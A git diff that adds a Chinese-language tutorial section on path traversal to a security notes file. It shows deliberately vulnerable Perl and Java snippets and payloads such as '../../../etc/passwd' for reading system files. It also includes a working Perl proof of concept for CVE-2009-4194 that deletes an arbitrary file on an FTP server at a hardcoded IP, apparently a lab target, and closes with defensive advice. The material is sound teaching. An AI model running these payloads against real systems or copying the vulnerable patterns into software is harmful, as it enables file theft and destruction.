diff --git a/base/security/Security.md b/base/security/Security.md
index 5b7da0e..b825602 100644
--- a/base/security/Security.md
+++ b/base/security/Security.md
@@ -211,4 +211,169 @@ if (user.hasAccess("DELETE_ACCOUNT")) {
- 以属性或者功能为核心的访问控制编码模型,从特性上来讲更易于构建功能丰富的访问控制系统。
- **记录所有的访问控制类事件**
- - 所有的访问控制失效都应该有完整的记录,因为这些事件很可能成为恶意用户尝试寻找系统漏洞的线索。
\ No newline at end of file
+ - 所有的访问控制失效都应该有完整的记录,因为这些事件很可能成为恶意用户尝试寻找系统漏洞的线索。
+
+
+### 1.2 路径穿越:你的Web应用系统成了攻击者的资源管理器?
+- 路径穿越
+ - 那么什么是路径穿越呢?简单来说,你所构建的系统中有一个功能组件使用外部输入来构建文件名,而这个文件名会用来定位一个在受限目录的文件,如果文件名中既包含一些特
+ 殊元素,又没有进行合理的过滤处理,就会导致路径被解析到受限文件夹之外的目录。
+
+- 几种典型的攻击场景:
+
+- 1-
+ - 这里我们来看一种典型的社交网络应用代码,每个用户的配置文件都被存储在单独的文件中,所有文件被集中到一个目录里:
+```shell
+my $dataPath = "/users/example/profiles";
+my $username = param("user");
+my $profilePath = $dataPath . "/" . $username;
+
+// 并没有对用户传入的username参数进行验证
+open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath")
+print "
\n";
+
+while(<$fh>) {
+ print "- $_
\n";
+}
+print "
\n";
+```
+- 当用户尝试去访问自己的配置文件的时候,会组成如下路径:
+```shell
+/users/example/prfiles/hunter
+```
+- 但是这里要注意的是上述代码并没有对用户传入的参数做验证,因此攻击者可以提供如下参数:
+```shell
+../../../etc/passwd
+```
+- 通过拼接,攻击者将会得到一个完整的路径:
+```shell
+/users/example/profiles/../../../etc/passwd ==> /etc/passwd
+```
+- 通过这条路径,攻击者就可以成功访问到 Linux 系统的 password 文件。
+
+- 2-
+- 下面这个代码在编写过程中考虑到输入的不安全性,采用了黑名单方式,过滤掉了输入中包含的../字符。
+```shell
+my $username = GetUntrustedInput();
+// 黑名单方式过滤
+// 对username的过滤不严格
+$username = ~ s/\.\.\///;
+my $filename = "/home/user/" . $username;
+ReadAndSendFile($filename);
+```
+- 但是值得注意的是,过滤代码中并没有使用/g这个全局匹配符,因此仅仅过滤掉了参数中出现的第一个../字符:
+```shell
+../../../etc/passwd => /home/user/../../etc/passwd
+```
+- 所以攻击者仍然可以通过多层拼接来实现攻击
+
+- 3-
+ - 如下代码也在编写中考虑到输入的不安全性,它采用了**白名单方式**,限制了路径:
+```shell
+String path = getInputPath();
+// 白名单方式过滤
+// 对path的限制不够严格
+if (path.startsWith("/safe_dir/")){
+ File f = new File(path);
+ f.delete() f.delete()
+}
+```
+- 但是攻击者依然可以通过提供如下参数进行绕过:
+```shell
+/safe_dir/../etc/passwd
+```
+
+- 4-
+ - 如下代码通过在前端上传文件自动获取属性,凭借这样的方式限制用户输入:
+```html
+
+```
+- 如下 Java Servlet 代码通过 doPost 方法接受请求,从 HTTP Request Header 中解析文件名,然后从 Request 中读取内容后再写入本地 upload 目录
+```java
+public class FileUploadServlet extends HttpServlet {
+...
+protected void doPost(HttpServletRequest request, HttpServletResponse resp
+ response.setContentType("text/html");
+ PrintWriter out = response.getWriter();
+ String contentType = request.getContentType();
+ // the starting position of the boundary header
+ int ind = contentType.indexOf("boundary=");
+ String boundary = contentType.substring(ind+9);
+ String pLine = new String();
+ String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constan
+ // verify that content type is multipart form data
+ if (contentType != null && contentType.indexOf("multipart/form-data")
+ // extract the filename from the Http header
+ BufferedReader br = new BufferedReader(new InputStreamReader(reque
+...
+ pLine = br.readLine();
+ String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.l
+...
+// output the file to the local upload directory
+ try {
+// 攻击者可以修改Request中的filename进行攻击
+ BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLo
+ for (String line; (line=br.readLine())!=null; ) {
+ if (line.indexOf(boundary) == -1) {
+ bw.write(line);
+ bw.newLine();
+ bw.flush();
+ }
+ } //end of for loop
+ bw.close();
+ } catch (IOException ex) {
+...
+ }
+ // output successful upload response HTML page
+}
+// output unsuccessful upload response HTML page
+ else
+ {...}
+ }.
+ ..
+ }
+```
+- 上述代码一方面没有对上传的文件类型进行检查(这节课我们不探讨这个安全问题),另一方面没有检查 filename 就直接进行了拼接,因此攻击者只需要通过 Burpsuite、ZAP 等
+ Proxy 应用对 Request 进行拦截和修改 filename 属性即可利用路径穿越漏洞。
+
+- 案例实战
+ - CVE-2009-4194
+ - 该漏洞是一个目录穿越漏洞,影响的软件版本是 Golden FTP Server 4.30 Free 以及Professional 版本、4.50 版本(未验证),允许攻击者通过 DELE 命令删除任意文件。
+
+- 启动 MiTuan 中的 CVE-2009-4194 靶机,这是一个 Windows 7 系统,内置了 Golden FTP Server 4.30 版本,并且已经预先设置好了 FTP 共享路径:
+```shell
+C:\Users\sty\Desktop
+```
+- 接下来构建我们的攻击程序,为了方便我们采用 Perl 语言。如果你使用的是 Mac 电脑,那么你可以无需配置环境,直接运行我们编写好的攻击程序体验效果:
+```shell
+use strict;
+use Net::FTP
+print "1";
+my $ftp = Net::FTP->new("52.81.192.166", Debug => 1) || die $@;
+$ftp->login("anonymous", "") || die $ftp->message;
+$ftp->cwd("/Desktop/") || die $ftp->message;
+# This deletes the file C:\Users\sty\test.txt
+$ftp->delete("../test.txt");
+$ftp->quit;
+$ftp = undef;
+```
+- 通过上述的代码,我们可以看到C:\Users\sty\test.txt文件已经被删除了,我们成功穿越了 FTP Server 的限制,实现了了任意文件的删除!
+
+- 防御方案
+ - 在编码实现阶段:
+ - 假设所有的输入都是恶意的,使用“只接受已知的善意的”输入检查策略,也就是使用一些定义清晰且严格的参数格式;
+ - 输入都应该被解码为程序内部的处理格式,并且确保在应用系统没有被二次解码,防止攻击者通过编码或者二次编码进行绕过;
+ - 如果可能,为用户提供选项或者通过应用系统内部 ID 映射的方式进行对象访问,例如 ID 1 对应“info.txt”;
+ - 确保 Error Message 只包含最小必要信息,避免过于详细的信息展示,防止攻击者因此获取系统相关信息。
+ - 在架构设计阶段:
+ - 确保所有客户端发生的安全检查,都在服务端完成第二次检查,这样做的目的是防止攻击者在客户端进行安全检查绕过;
+ - 使用成熟的库或者框架来使开发者更容易规避这种特定类型的风险。
+ - 在防御建设阶段:
+ - 使用可以防御这种类型攻击的应用层防火墙,在某些特定情况下(比如应用系统漏洞无法修复)非常有效;
+ - 使用最小权限运行开发完毕的应用系统,如果可能,创建独立的受限账户用于应用系统运行;
+ - 使用沙箱环境运行开发完毕的应用系统,做好进程和系统之间的边界隔离。
\ No newline at end of file